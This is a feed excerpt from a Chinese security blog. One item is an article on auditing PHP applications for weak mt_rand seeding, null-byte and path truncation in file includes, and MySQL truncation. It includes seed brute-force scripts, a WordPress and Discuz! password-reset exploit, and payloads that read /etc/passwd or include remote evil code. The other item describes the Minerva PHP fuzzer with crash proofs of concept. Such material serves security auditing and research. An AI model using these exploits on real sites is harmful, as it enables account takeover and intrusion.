</tbody>
</table>
<p><strong>1) rand() VS mt_rand()</strong></p>
<pre>&lt;?php 
//on windows 
print mt_getrandmax(); //2147483647 
print getrandmax();// 32767 
?&gt;</pre>
<p>可以看出rand()最大的随机数是32767，这个很容易被我们暴力破解。</p>
<pre>&lt;?php 
$a= md5(rand()); 
for($i=0;$i&lt;=32767;$i++){ 
  if(md5($i) ==$a ) { 
   print $i."--&gt;ok!!&lt;br&gt;";exit; 
   }else { print $i."&lt;br&gt;";} 
} 
?&gt;</pre>
<p>当我们的程序使用rand处理session时，攻击者很容易暴力破解出你的session，但是对于mt_rand是很难单纯的暴力的。</p>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略</strong></td>
</tr>
<tr>
<td>PHP版本要求：无<br />
系统要求：无<br />
审计策略：查找rand</td>
</tr>
</tbody>
</table>
<p><strong>2) mt_srand()/srand()-weak seeding（by Stefan Esser）</strong></p>
<p>看php手册里的描述：</p>
<pre>mt_srand 
(PHP 3 &gt;= 3.0.6, PHP 4, PHP 5) 

mt_srand -- 播下一个更好的随机数发生器种子 
说明 
void mt_srand ( int seed )</pre>
<p>用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始，seed 参数变为可选项，当该项为空时，会被设为随时数。</p>
<p>例子 1. mt_srand() 范例</p>
<pre>&lt;?php 
// seed with microseconds 
function make_seed() 
{ 
    list($usec, $sec) = explode(' ', microtime()); 
    return (float) $sec + ((float) $usec * 100000); 
} 
mt_srand(make_seed()); 
$randval = mt_rand(); 
?&gt;</pre>
<p><em>注: 自 PHP 4.2.0 起，不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种，现已自动完成。</em></p>
<p>php从4.2.0开始实现了自动播种，但是为了兼容，后来使用类似于这样的代码播种：</p>
<pre>mt_srand ((double) microtime() * 1000000)</pre>
<p>但是使用(double)microtime()<tt>*</tt>1000000类似的代码seed是比较脆弱的：</p>
<pre>0&lt;(double) microtime()&lt;1 ---&gt; 0&lt;(double) microtime()* 1000000&lt;1000000</pre>
<p>那么很容易暴力破解,测试代码如下：</p>
<pre>&lt;?php 
///////////////// 
//&gt;php rand.php 
//828682 
//828682 
//////////////// 
ini_set("max_execution_time",0); 
$time=(double) microtime()* 1000000; 
print $time."\n"; 
mt_srand ($time); 

$search_id = mt_rand(); 
$seed = search_seed($search_id); 
print $seed; 
function search_seed($rand_num) { 
$max = 1000000; 
for($seed=0;$seed&lt;=$max;$seed++){ 
        mt_srand($seed); 
        $key = mt_rand(); 
        if($key==$rand_num) return $seed; 
} 
return false; 
} 
?&gt;</pre>
<p>从上面的代码实现了对seed的破解，另外根据Stefan Esser的分析seed还根据进程变化而变化，换句话来说同一个进程里的seed是相同的。 然后同一个seed每次mt_rand的值都是特定的。如下图：</p>
<table>
<tbody>
<tr>
<td><strong>seed-A</strong></td>
</tr>
<tr>
<td>mt_rand-A-1<br />
mt_rand-A-2<br />
mt_rand-A-3</td>
</tr>
</tbody>
</table>
<table>
<tbody>
<tr>
<td><strong>seed-B</strong></td>
</tr>
<tr>
<td>mt_rand-B-1<br />
mt_rand-B-2<br />
mt_rand-B-3</td>
</tr>
</tbody>
</table>
<p>对于seed-A里mt_rand-1/2/3都是不相等的，但是值都是特定的，也就是说当seed-A等于seed-B，那么mt_rand-A-1就等于mt_rand-B-1…，这样我们只要能够得到seed就可以得到每次mt_rand的值了。</p>
<p>对于5.2.6&gt;php&gt;4.2.0直接使用默认播种的程序也是不安全的（很多的安全人员错误的以为这样就是安全的），这个要分两种情况来分析：</p>
<p>第一种：&#8217;Cross Application Attacks&#8217;，这个思路在Stefan Esser文章里有提到，主要是利用其他程序定义的播种（如mt_srand ((double) microtime()<tt>*</tt> 1000000)），phpbb+wordpree组合就存在这样的危险.</p>
<p>第二种：5.2.6&gt;php&gt;4.2.0默认播种的算法也不是很强悍，这是Stefan Esser的文章里的描述：</p>
<blockquote><p>The Implementation<br />
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 &lt;= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed.</p></blockquote>
<p>在32位系统上默认的播种的种子为最大值是<tt>2^32</tt>，这样我们循环最多<tt>2^32</tt>次就可以破解seed。而在PHP 4和PHP 5 &lt;= 5.2.0 的算法有个bug：奇数和偶数的播种是一样的（详见附录3）,测试代码如下：</p>
<pre>&lt;?php 
mt_srand(4);  
$a = mt_rand();  
mt_srand(5);  
$b = mt_rand(); 
print $a."\n".$b; 
?&gt;</pre>
<p>通过上面的代码发现$a==$b，所以我们循环的次数为2<sup>32/2=2</sup>31次。我们看如下代码：</p>
<pre>&lt;?php 
//base on http://www.milw0rm.com/exploits/6421  
//test on php 5.2.0 

define('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1 

$key = wp_generate_password(20, false); 
echo $key."\n"; 
$seed = getseed($key); 
print $seed."\n";  

mt_srand($seed); 
$pass = wp_generate_password(20, false); 
echo $pass."\n";         

function wp_generate_password($length = 12, $special_chars = true) { 
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; 
        if ( $special_chars ) 
                $chars .= '!@#$%^&amp;*()'; 

        $password = ''; 
        for ( $i = 0; $i &lt; $length; $i++ ) 
                $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); 
        return $password; 
}  

function getseed($resetkey) { 
        $max = pow(2,(32-BUGGY)); 
        for($x=0;$x&lt;=$max;$x++) { 
                $seed = BUGGY ? ($x &lt;&lt; 1) + 1 : $x;  
                mt_srand($seed); 
                $testkey = wp_generate_password(20,false); 
                if($testkey==$resetkey) { echo "o\n"; return $seed; } 

                if(!($x % 10000)) echo $x / 10000; 
        } 
        echo "\n"; 
        return false; 
} 
?&gt;</pre>
<p>运行结果如下：</p>
<pre>php5&gt;php rand.php 
M8pzpjwCrvVt3oobAaOr 
0123456789101112131415161718192021222324252627282930313233343536373839404142434 
445464748495051525354555657585960616263646566676869 
7071727374757677787980818283848586878889909192939495969798991001011021031041051 
061071081091101111121131141151161171181191201211221 
2312412512612712812913013113213313413513613713813914014114214314414514614714814 
915015115215315415515615715815916016116216316416516 
6167168169170171172173174175176177178179180181182183184185186187188189190191192 
193194195196197198199200201202203204205206207208209 
2102112122132142152162172182192202212222232242252262272282292302312322332342352 
362372382392402412422432442452462472482492502512522 
..............01062110622106231062410625106261062710628106291063010631106321063 
3o 
70693 
pjwCrvVt3oobAaOr</pre>
<p>当10634次时候我们得到了结果。</p>
<p>当PHP版本到了5.2.1后，通过修改算法修补了奇数和偶数的播种相等的问题，这样也导致了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如：</p>
<pre>&lt;?php 
mt_srand(42); 
echo mt_rand(); 
//php&lt;=5.20 1387371436 
//php&gt;5.20 1354439493            
?&gt;</pre>
<p>正是这个原因，也要求了我们的exp的运行环境：当目标&gt;5.20时候，我们exp运行的环境也要是&gt;5.20的版本，反过来也是一样。</p>
<p>从上面的测试及分析来看，php&lt;5.26不管有没有定义播种，mt_rand处理的数据都是不安全的。在web应用里很多都使用mt_rand来处理随机的session，比如密码找回功能等等，这样的后果就是被攻击者恶意利用直接修改密码。</p>
<p>很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。（在后面我们将实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞）</p>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略</strong></td>
</tr>
<tr>
<td>PHP版本要求：php4 php5&lt;5.2.6<br />
系统要求：无<br />
审计策略：查找mt_srand/mt_rand</td>
</tr>
</tbody>
</table>
<p>其实“特殊字符”也没有特定的标准定义，主要是在一些code hacking发挥着特殊重作用的一类字符。下面就举几个例子：</p>
<p>其中最有名的数大家都熟悉的null字符截断。</p>
<pre>&lt;?php  
include $_GET['action'].".php";  
?&gt;</pre>
<p>提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”，但是除了“%00”还有没有其他的字符可以实现截断使用呢？肯定有人想到了远程包含的url里问号“?”的作用，通过提交“action=<tt>http://www.hacksite.com/evil-code.txt</tt>?”这里“?”实现了“伪截断”：），好象这个看上去不是那么舒服那么我们简单写个代码fuzz一下：</p>
<pre>&lt;?php 
//////////////////// 
////var5.php代码: 
////include $_GET['action'].".php";  
////print strlen(realpath("./"))+strlen($_GET['action']);   
/////////////////// 
ini_set('max_execution_time', 0); 
$str=''; 
for($i=0;$i&lt;50000;$i++) 
{ 
        $str=$str."/"; 

        $resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str); 
        //1.txt里的代码为print 'hi'; 
        if (strpos($resp, 'hi') !== false){ 
                print $i; 
                exit; 
        } 
} 
?&gt;</pre>
<p>经过测试字符“.”、“ /”或者2个字符的组合，在一定的长度时将被截断，win系统和<tt>*</tt>nix的系统长度不一样，当win下strlen(realpath(&#8220;./&#8221;))+strlen($<tt>_</tt>GET<tt>['action']</tt>)的长度大于256时被截断，对于<tt>*</tt>nix的长度是4 <tt>*</tt> 1024 = 4096。对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。（此漏洞由cloie#ph4nt0m.org最先发现]）</p>
<p>对于很多web应用文件在很多功能是不容许重复数据的，比如用户注册功能等。一般的应用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据，然而我们可以通过“数据截断”等来饶过这些判断，数据库在处理时候产生截断导致插入重复数据。</p>
<p><strong>1) Mysql SQL Column Truncation Vulnerabilities</strong></p>
<p>这个漏洞又是大牛Stefan Esser发现的（Stefan Esser是我的偶像:)），这个是由于mysql的sql_mode设置为default的时候，即没有开启STRICT_ALL_TABLES选项时，MySQL对于插入超长的值只会提示warning，而不是error（如果是error就插入不成功），这样可能会导致一些截断问题。测试如下：</p>
<pre>mysql&gt; insert into truncated_test(`username`,`password`) values("admin","pass"); 

mysql&gt; insert into truncated_test(`username`,`password`) values("admin           x", "new_pass"); 
Query OK, 1 row affected, 1 warning (0.01 sec) 

mysql&gt; select * from truncated_test; 
+----+------------+----------+ 
| id | username   | password | 
+----+------------+----------+ 
| 1 | admin      | pass     | 
| 2 | admin      | new_pass | 
+----+------------+----------+ 
2 rows in set (0.00 sec)</pre>
<p><strong>2) Mysql charset Truncation vulnerability</strong></p>
<p>这个漏洞是80sec发现的，当mysql进行数据存储处理utf8等数据时对某些字符导致数据截断。测试如下：</p>
<pre>mysql&gt; insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2"); 
Query OK, 1 row affected, 1 warning (0.00 sec) 

mysql&gt; select * from truncated_test; 
+----+------------+----------+ 
| id | username   | password | 
+----+------------+----------+ 
| 1 | admin      | pass      | 
| 2 | admin      | new_pass  | 
| 3 | admin      | new_pass2 | 
+----+------------+----------+ 
2 rows in set (0.00 sec)</pre>
<p>很多的web应用程序没有考虑到这些问题，只是在数据存储前简单查询数据是否包含相同数据，如下代码：</p>
<pre>$result = mysql_query("SELECT * from test_user where user='$user' "); 
  .... 
if(@mysql_fetch_array($result, MYSQL_NUM)) { 
        die("already exist"); 
}</pre>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略</strong></td>
</tr>
<tr>
<td>PHP版本要求：无<br />
系统要求：无<br />
审计策略：通读代码</td>
</tr>
</tbody>
</table>
<p>文件操作里有很多特殊的字符，发挥特别的作用，很多web应用程序没有注意处理这些字符而导致安全问题。比如很多人都知道的windows系统文件名对“空格”和“.”等的忽视，这个主要体现在上传文件或者写文件上，导致直接写webshell。另外对于windows系统对“.\..\”进行系统转跳等等。 下面还给大家介绍一个非常有意思的问题：</p>
<pre>//Is this code vul? 
if( eregi(".php",$url) ){ 
        die("ERR"); 
} 
$fileurl=str_replace($webdb[www_url],"",$url); 
..... 
header('Content-Disposition: attachment; filename='.$filename);</pre>
<p>很多人看出来了上面的代码的问题，程序首先禁止使用“.php”后缀。但是下面居然接了个str_replace替换$webdbwww_url为空，那么我们提交“.p$webdbwww_urlhp”就可以饶过了。那么上面的代码杂fix呢？有人给出了如下代码：</p>
<pre>$fileurl=str_replace($webdb[www_url],"",$url); 
if( eregi(".php",$url) ){ 
        die("ERR"); 
}</pre>
<p>str_replace提到前面了，很完美的解决了str_replace代码的安全问题，但是问题不是那么简单，上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码：</p>
<pre>&lt;?php 
for($i=0;$i&lt;255;$i++) { 
        $url = '1.ph'.chr($i); 
        $tmp = @file_get_contents($url); 
        if(!empty($tmp)) echo chr($i)."\r\n"; 
}   
?&gt;</pre>
<p>我们在windows系统运行上面的代码得到如下字符<tt>*</tt> &lt; &gt; ? P p都可以打开目录下的1.php。</p>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略</strong></td>
</tr>
<tr>
<td>PHP版本要求：无<br />
系统要求：无<br />
审计策略：文读取件操作函数</td>
</tr>
</tbody>
</table>
<p>上面我们列举很多的字典，但是很多都是已经公开过的漏洞或者方式，那么我们怎么进一步找到新的字典或者利用方式呢？</p>
<ul>
<li>分析和学习别人发现的漏洞或者exp，总结出漏洞类型及字典</li>
<li>通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式</li>
<li>fuzz php的函数，找到新的有问题的函数（不一定非要溢出的），如上一章的4.6的部分很多都可以简单的fuzz脚本可以测试出来</li>
<li>分析php源代码，发现新的漏洞函数“特性”或者漏洞。（在上一节里介绍的那些“漏洞审计策略”里，都没有php源代码的分析，如果你要进一步找到新的字典，可以在php源代码的基础上分析下成因，然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。）（我们以后会陆续公布一些我们对php源代码的分析）</li>
<li>有条件或者机会和开发者学习，找到他们实现某些常用功能的代码的缺陷或者容易忽视的问题</li>
<li>你有什么要补充的吗？ ：）</li>
</ul>
<p> </p>
<table>
<tbody>
<tr>
<td><strong>DEMO &#8212; Discuz! Reset User Password 0day Vulnerability 分析<br />
（Exp:<a rel="nofollow" href="http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt">http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt</a>）</strong></td>
</tr>
<tr>
<td>PHP版本要求:php4 php5&lt;5.2.6<br />
系统要求: 无<br />
审计策略:查找mt_srand/mt_rand</td>
</tr>
</tbody>
</table>
<p>第一步 安装Discuz! 6.1后利用grep查找mt_srand得到：</p>
<pre>heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5 
./include/global.func.php-694-  $GLOBALS['rewritecompatible'] &amp;&amp; $name = rawurlencode($name); 
./include/global.func.php-695-  return '&lt;a href="tag-'.$name.'.html"'.stripslashes($extra).'&gt;'; 
./include/global.func.php-696-} 
./include/global.func.php-697- 
./include/global.func.php-698-function random($length, $numeric = 0) { 
./include/global.func.php:699:  PHP_VERSION &lt; '4.2.0' &amp;&amp; mt_srand((double)microtime() * 1000000); 
./include/global.func.php-700-  if($numeric) { 
./include/global.func.php-701-          $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1)); 
./include/global.func.php-702-  } else { 
./include/global.func.php-703-          $hash = ''; 
./include/global.func.php-704-          $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; 
-- 
./include/discuzcode.func.php-30- 
./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) { 
./include/discuzcode.func.php-32-       @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php'; 
./include/discuzcode.func.php-33-} 
./include/discuzcode.func.php-34- 
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000); 
./include/discuzcode.func.php-36- 
./include/discuzcode.func.php-37-function attachtag($pid, $aid, &amp;$postlist) { 
./include/discuzcode.func.php-38-       global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml; 
./include/discuzcode.func.php-39-       $attach = $postlist[$pid]['attachments'][$aid]; 
./include/discuzcode.func.php-40-       if($attach['attachimg']) {</pre>
<p>有两个文件用到了mt_srand()，第1是在./include/global.func.php的随机函数random()里：</p>
<pre> PHP_VERSION &lt; '4.2.0' &amp;&amp; mt_srand((double)microtime() * 1000000);</pre>
<p>判断了版本，如果是PHP_VERSION &gt; &#8217;4.2.0&#8242;使用php本身默认的播种。从上一章里的分析我们可以看得出来，使用php本身默认的播种的分程序两种情况：</p>
<p>1) &#8216;Cross Application Attacks&#8217; 这个思路是只要目标上有使用使用的程序里定义了类似mt_srand((double)microtime() <tt>*</tt> 1000000)的播种的话，又很有可能被暴力。在dz这里不需要Cross Application，因为他本身有文件就定义了，就是上面的第2个文件：</p>
<pre>./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);</pre>
<p>这里我们肯定dz是存在这个漏洞的，文章给出来的exp也就是基于这个的。（具体exp利用的流程有兴趣的可以自己分析下]）</p>
<p>2) 有的人认为如果没有mt_srand((double)microtime() <tt>*</tt> 1000000);这里的定义，那么dz就不存在漏洞，这个是不正确的。首先你不可以保证别人使用的其他应用程序没有定义，再次不利用&#8217;Cross Application Attacks&#8217;，5.2.6&gt;php&gt;4.2.0 php本身默认播种的算法也不是很强悍（分析详见上），也是有可以暴力出来，只是速度要慢一点。</p>
<p>本文是80vul的三大马甲：80vul-A，80vul-B，80vul-C集体智慧的结晶，尤其是80vul-B贡献了不少新发现。另外需要感谢的是文章里提到的那些漏洞的发现者，没有他们的成果也就没有本文。本文没有写“参考”，因为本文是一个总结性的文挡，有太多的连接需要提供限于篇幅就没有一一列举，有心的读者可以自行google。另外原本没有打算公布此文，因为里面包含了太多应用程序的0day，而且有太多的不尊重别人成果的人，老是利用从别人那学到的技术来炫耀，甚至牟取利益。在这里我们希望你可以在本文里学到些东西，更加希望如果通过本文你找到了某些应用程序的0day，请低调处理，或者直接提交给官方修补，谢谢大家！！</p>
<p><tt>[</tt>1<tt>]</tt></p>
]]></description>
		<wfw:commentRss>http://baoz.net/%e9%ab%98%e7%ba%a7php%e5%ba%94%e7%94%a8%e7%a8%8b%e5%ba%8f%e6%bc%8f%e6%b4%9e%e5%ae%a1%e6%a0%b8%e6%8a%80%e6%9c%af/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Minerva PHP Fuzzer</title>
		<link>http://baoz.net/the-minerva-php-fuzzer/</link>
		<comments>http://baoz.net/the-minerva-php-fuzzer/#comments</comments>
		<pubDate>Sat, 15 May 2010 07:50:13 +0000</pubDate>
		<dc:creator>baoz</dc:creator>
				<category><![CDATA[技术点滴]]></category>
		<category><![CDATA[SDL]]></category>
		<category><![CDATA[Security Development Lifecycle]]></category>
		<category><![CDATA[安全开发生命周期]]></category>

		<guid isPermaLink="false">http://baoz.net/?p=5866</guid>
		<description><![CDATA[<p>转载收藏。</p>
<p><span id="more-5866"></span></p>
<p><a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html">http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html</a></p>
<div id="date">May 11th, 2010</div>
<div>
<p>Today it is time for the fifth external MOPS submission. It it the second submission by Mateusz Kocielski, an article about his PHP fuzzer called <a href="http://www.php-security.org/downloads/minerva-1.0.tar.bz2">Minerva</a>.</p>
<h4>Minerva – 1.0</h4>
<p><a href="mailto:shm+minerva@digitalsun.pl">Mateusz Kocielski</a></p>
<h4>Table of contents:</h4>
<ol>
<li><a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__1">Introduction</a>
<ul>
<li><a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__1a">Abstract</a></li>
<li><a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__1b">Background</a></li>
</ul>
</li>
<li><a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__2">Minerva</a>
<ul>
<li><a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__2a">Description</a></li>
<li><a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__2b">Configuration file</a></li>
<li><a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__2c">Discovered bugs</a></li>
</ul>
</li>
<li><a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__3">Future work</a></li>
<li><a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__AA">Appendix</a>
<ul>
<li><a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__AA">Licence</a></li>
<li><a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__AB">Contact</a></li>
<li><a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__AC">References</a></li>
<li><a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__AD">Further reading material</a></li>
<li><a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__AE">Greetings</a></li>
<li><a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__AF">Download</a></li>
</ul>
</li>
</ol>
<h4><a name="__1">-[ 1. Introduction</a></h4>
<h4><a name="__1a">-[[ 1 a) Abstract</a></h4>
<p>Minerva is a PHP fuzzer designed to uncover bugs in PHP internals. This document contains information about its construction, fuzzing approach, as well as the bugs discovered and future work.</p>
<h4><a name="__1b">-[[ 1 b) Background</a></h4>
<p>Minerva is a fuzzer dedicated for the PHP language. Fuzz testing in brief is a software testing technique that provides a random/invalid data to the program and then checks if the program failed or something unexpected<br />
happened. This technique was proposed 20 years ago by Prof. Barton Miller, he noticed that many UNIX utilities are crashing when random data is provided as an input to them. Historical background on fuzzing can be found at Miller's website <a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__miller">[miller]</a>. Through the years fuzz testing has evolved, many techniques was proposed and bunch of software has been released. Now it’s a valid tool for both developers and hackers to discover bugs in the software. Important thing to understand about it is that fuzzing is not substitution of testing, but it may be its notable support.</p>
<p>Minerva is not the first fuzzing tool dedicated for the PHP, some work has been done already. Victor Steiner <a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__steiner">[steiner]</a> has released the PHP fuzzer as a part of a bigger project – fusil fuzzing framework <a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__fusil">[fusil]</a>, his approach was<br />
passing random arguments into random functions, similar way of reasoning was presented by Lilxam <a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__lilxam">[lilxam]</a>. Passing random arguments to random function is ineffective because PHP cares about types. In case of this fuzzers many function calls fail at the begin because of the bad argument types or the argument number. In 2007 Calcite released PFF (PHP Fuzzing Framework) <a href="http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html#__pff">[pff]</a>.</p>
<p>PFF is configurable by template file, where a user can specify the function name and a list of types (string, integer or random which means that integer or string will be chosen), basing on that file, PFF is generating random<br />
function call for PHP. All this fuzzers discovered bugs in PHP interpreter. Minerva approach is generating valid PHP scripts with determined number of function calls. Validity here should be regarded as passing some “almost<br />
correct” arguments to the functions. The code is having the “proof of concept” status, and should be regarded as a material for the future research and development.</p>
<h4><a name="__2">-[ 2. Minerva</a></h4>
<h4><a name="__2a">-[[ 2 a) Description</a></h4>
<p>As it was mentioned before, Minerva bases on the observation that passing random arguments to PHP functions is highly inefficient because in most cases it ends with a type error. Better approach is to care about the types and<br />
generate scripts with "almost correct" arguments. Minerva has got the pre-defined set of initial variables as well as the database of functions with their return type and a type of arguments. Core algorithm is simple and<br />
can be described by following pseudo-code:</p>
<div>
<div>1.  script &lt;- ""<br />
2.  X &lt;- Initial set of variables with their types<br />
3.  G &lt;- Fresh variable generator<br />
4.  F &lt;- Function database<br />
5.  for i in 1..n:<br />
6.   f &lt;- GET_RANDOM(F, X)<br />
7.   v &lt;- G()<br />
8.   X &lt;- X u &lt;v, f result type&gt;<br />
9.   script &lt;- script . v . " = " . f call with random arguments from X (but<br />
     with proper types)<br />
10. return script</div>
</div>
<p>Function GET_RANDOM from line 6 returns random function from F which arguments can be covered by variables from set X. Initial set of variables is defined in src/minerva.py:generate() function, but can be extended by<br />
providing an init file with proper function. (i.e. function foo() { return "AAAA"; }) and adding foo function to the function database. Generated script is sliced into following sections:</p>
<div>
<div> +-------------------+<br />
 | header            |<br />
 +-------------------+<br />
 | init              |<br />
 +-------------------+<br />
 | generated script  |<br />
 .                   .<br />
 .                   .<br />
 |                   |<br />
 +-------------------+<br />
 | fini              |<br />
 +-------------------+<br />
 | footer            |<br />
 +-------------------+</div>
</div>
<p>Header and footer sections are defined by Minerva in src/minerva.py: header() and footer() functions. Init and fini sections are optional and can be provided by user to put there some static content (e.g. some additional<br />
functions).</p>
<h4><a name="__2b">-[[ 2 b) Configuration file</a></h4>
<p>The function database and default options can be defined in configuration file. Configuration file is organized as follows:</p>
<p><strong>main section</strong></p>
<div>
<div> default_length - number of function calls<br />
 default_output - output script filename<br />
 modules - list of modules<br />
 ignore_functions - list of ignored functions<br />
 init - initial file<br />
 fini - fini file</div>
</div>
<p><strong>functions section</strong></p>
<div>
<div> module_name = [<br />
   return_type function_name ( arguments_types ),<br />
   ...<br />
   ];</div>
</div>
<p>For syntax details, take a look at example.conf file in conf/ directory. Configuration options could be also passed from the command line. For detailed list run program with &#8220;&#8211;help&#8221; argument.</p>
<h4><a name="__2c">-[[ 2 c) Discovered bugs</a></h4>
<p>This paragraph presents Minerva results for PHP 5.3.2 and 5.2.13. Testing environment won't be described to encourage future users to experiment with Minerva. Tests presented here were focused on crashing PHP interpreter, if it returned SIGSEGV, the script file was kept for future research. During a few hours of the standard modules testing, the following bugs were discovered:</p>
<p><strong>fnmatch()</strong> - stack exhaustion caused by glibc function fnmatch, seems not to be exploitable, but may be used to crash PHP from remote.</p>
<p>Proof of concept code:</p>
<div>
<div>  &lt;?php<br />
     $a57 = str_repeat("A",16000000);<br />
     $a265 = fnmatch($a57,"");<br />
  ?&gt;</div>
</div>
<div>
<div>  $ php -v<br />
  PHP 5.2.6-1+lenny8 with Suhosin-Patch 0.9.6.2 (cli) (built: Mar 14 2010 08:14:04)<br />
  Copyright (c) 1997-2008 The PHP Group<br />
  Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies</p>
<p>  (gdb) r file.php<br />
  Starting program: /usr/bin/php file.php<br />
  [Thread debugging using libthread_db enabled]</p>
<p>  Program received signal SIGSEGV, Segmentation fault.<br />
  0xb7a7bb0b in fnmatch () from /lib/i686/cmov/libc.so.6</p></div>
</div>
<p><strong>Freeing context before freeing stream</strong> &#8211; During php_request_shutdown() (main/main.c) context structure assigned to stream is freed before stream strucure is freed. If memory which was allocated for context is dirty, then it may cause crash. This bug may be exploitable and needs more research.</p>
<p>Proof of concept:</p>
<div>
<div>  &lt;?php<br />
     $blah = fopen(&#8216;/dev/zero&#8217;,'a&#8217;);<br />
     $arr = array();<br />
     for ( $i = 0 ; $i &lt; 5000 ; $i++ ) {<br />
       $arr[$i] = &#8220;&#8221;;<br />
     }<br />
     stream_context_get_options($blah);<br />
     $a88 = fread($blah,100000000000);<br />
  ?&gt;</div>
</div>
<div>
<div>  $ php -v<br />
  PHP 5.2.6-1+lenny8 with Suhosin-Patch 0.9.6.2 (cli) (built: Mar 14 2010 08:14:04)<br />
  Copyright (c) 1997-2008 The PHP Group<br />
  Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies</p>
<p>  (gdb) r file.php<br />
  Starting program: /usr/bin/php file.php<br />
  [Thread debugging using libthread_db enabled]</p>
<p>  Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 1215752193 bytes) in /thanks/to/dft/test.php on line 8</p>
<p>  Program received signal SIGSEGV, Segmentation fault.<br />
  0x0829ed83 in php_stream_context_del_link ()<br />
  (gdb) bt<br />
  #0  0x0829ed83 in php_stream_context_del_link ()<br />
  #1  0x082a05c1 in _php_stream_free ()</p></div>
</div>
<p><strong>uninitialized memory in sqlite extension</strong> &#8211; this bug, as well as its exploitation were described in details in article which can be found in <a href="http://www.php-security.org/2010/05/07/mops-submission-03-sqlite_single_query-sqlite_array_query-uninitialized-memory-usage/index.html">doc/sqlite.txt</a>.</p>
<h4><a name="__3">-[ 3. Future work</a></h4>
<p>Minerva, for now, is limited to PHP language, but the approach used can bring good results also in case of other scripting languages like Python or Perl, as well as the testing syscalls. Supporting more targets shouldn't be hard, but it requires from Minerva to be more flexible, then Minerva will be possibly redesigned and rewritten to OCaml and will be continued as a long-term project.</p>
<p>In case of PHP there's still much work to do, some modules need to satisfy the conditions like passing valid ftp server in case of ftp module. Minerva now supports only this modules which can be fuzzed without 3rd party software. The second thing is that the project almost ignores the fact that PHP is an object oriented language, random class generator could be a benefit. It may include features like inheritance or overriding.</p>
<p>Some indexes can help to improve the Minerva efficiency. A good option is to measure how much PHP code is covered, it can be done by using gcov [gcov], and than apply some strategies (e.g. evolutionary) to cover more code.</p>
<p>Detecting bugs by waiting for SIGSEGV is a bit naive method, the project can use benefits of -fmudflap or other dynamic analysis tools to uncover more bugs. Research on that field needs to be done in order to increase project<br />
efficiency.</p>
<p>If you would like to help or just you’ve got idea, comment or suggestion, please feel free to contact me.</p>
<h4><a name="__AA">-[ A. Licence</a></h4>
<p>Minerva project is released under the BEER-WARE license.</p>
